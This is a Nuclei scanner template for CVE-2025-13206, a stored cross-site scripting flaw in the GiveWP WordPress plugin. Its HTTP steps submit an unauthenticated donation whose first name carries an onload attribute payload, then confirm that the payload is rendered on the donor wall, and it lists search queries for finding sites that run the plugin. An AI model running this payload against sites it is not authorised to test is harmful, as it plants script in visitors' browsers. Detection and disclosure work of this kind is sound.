The GiveWP donation plugin for WordPress through 4.13.0 is vulnerable to stored Cross-Site Scripting via the donor name. An unauthenticated attacker can submit a donation with a crafted first name that breaks out of the single-quoted avatar img "alt" attribute rendered by the [give_donor_wall] shortcode (the Gravatar avatar branch of templates/shortcode-donor-wall.php). The donor name is only tag-stripped, not attribute-escaped, so a value such as "x' onload='alert(document.domain)" executes for every visitor of the donor wall. Avatars must be enabled and the donor email must resolve to a valid Gravatar.
id: CVE-2025-13206
info:
name: GiveWP <= 4.13.0 - Donor Name Stored Cross-Site Scripting
author: DhiyaneshDk
severity: high
description: |
The GiveWP donation plugin for WordPress through 4.13.0 is vulnerable to stored Cross-Site Scripting via the donor name. An unauthenticated attacker can submit a donation with a crafted first name that breaks out of the single-quoted avatar img "alt" attribute rendered by the [give_donor_wall] shortcode (the Gravatar avatar branch of templates/shortcode-donor-wall.php). The donor name is only tag-stripped, not attribute-escaped, so a value such as "x' onload='alert(document.domain)" executes for every visitor of the donor wall. Avatars must be enabled and the donor email must resolve to a valid Gravatar.
impact: |
An unauthenticated attacker can store JavaScript that executes in the browser of every visitor of the GiveWP donor wall.
remediation: |
Update GiveWP to version 4.13.1 or later, which escapes the donor name with esc_attr() in the donor wall avatar markup.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/95823720-e1dc-46c1-887b-ffd877b2fbe5
- https://plugins.trac.wordpress.org/changeset/3398128/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13206
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2025-13206
epss-score: 0.00826
epss-percentile: 0.58711
cwe-id: CWE-79
cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: givewp
product: givewp
framework: wordpress
fofa-query: body="/wp-content/plugins/give/"
publicwww-query: "/wp-content/plugins/give/"
tags: cve,cve2025,wp-plugin,wp,wordpress,give,givewp,xss,unauth,vkev
variables:
marker: "{{to_lower(rand_text_alpha(9))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET {{form}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: formid
internal: true
group: 1
regex:
- 'give-form-id["\x27] value=["\x27]([0-9]+)'
- type: regex
name: prefix
internal: true
group: 1
regex:
- 'give-form-id-prefix["\x27] value=["\x27]([0-9-]+)'
- type: regex
name: nonce
internal: true
group: 1
regex:
- 'give-form-hash["\x27] value=["\x27]([a-f0-9]+)'
matchers:
- type: word
part: body
words:
- "give-form-hash"
internal: true
- raw:
- |
POST {{form}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
give-form-id={{formid}}&give-form-id-prefix={{prefix}}&give-form-hash={{nonce}}&give-gateway=manual&give-amount=10.00&give-price-id=&give_first={{marker}}%27%20onload%3D%27alert(document.domain)&give_last=Donor&give_email={{email}}&give-honeypot=&give_action=purchase
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
GET {{wall}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}' onload='alert(document.domain)"
- type: status
status:
- 200
# digest: 490a0046304402202d0f5b8dbd24970928380046d0b618837dd86019d51c34318462818de1345279022000e355b74e26fd0858ed1ecb15a6f5ad4ad016d60fe940499e581146a0914950:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.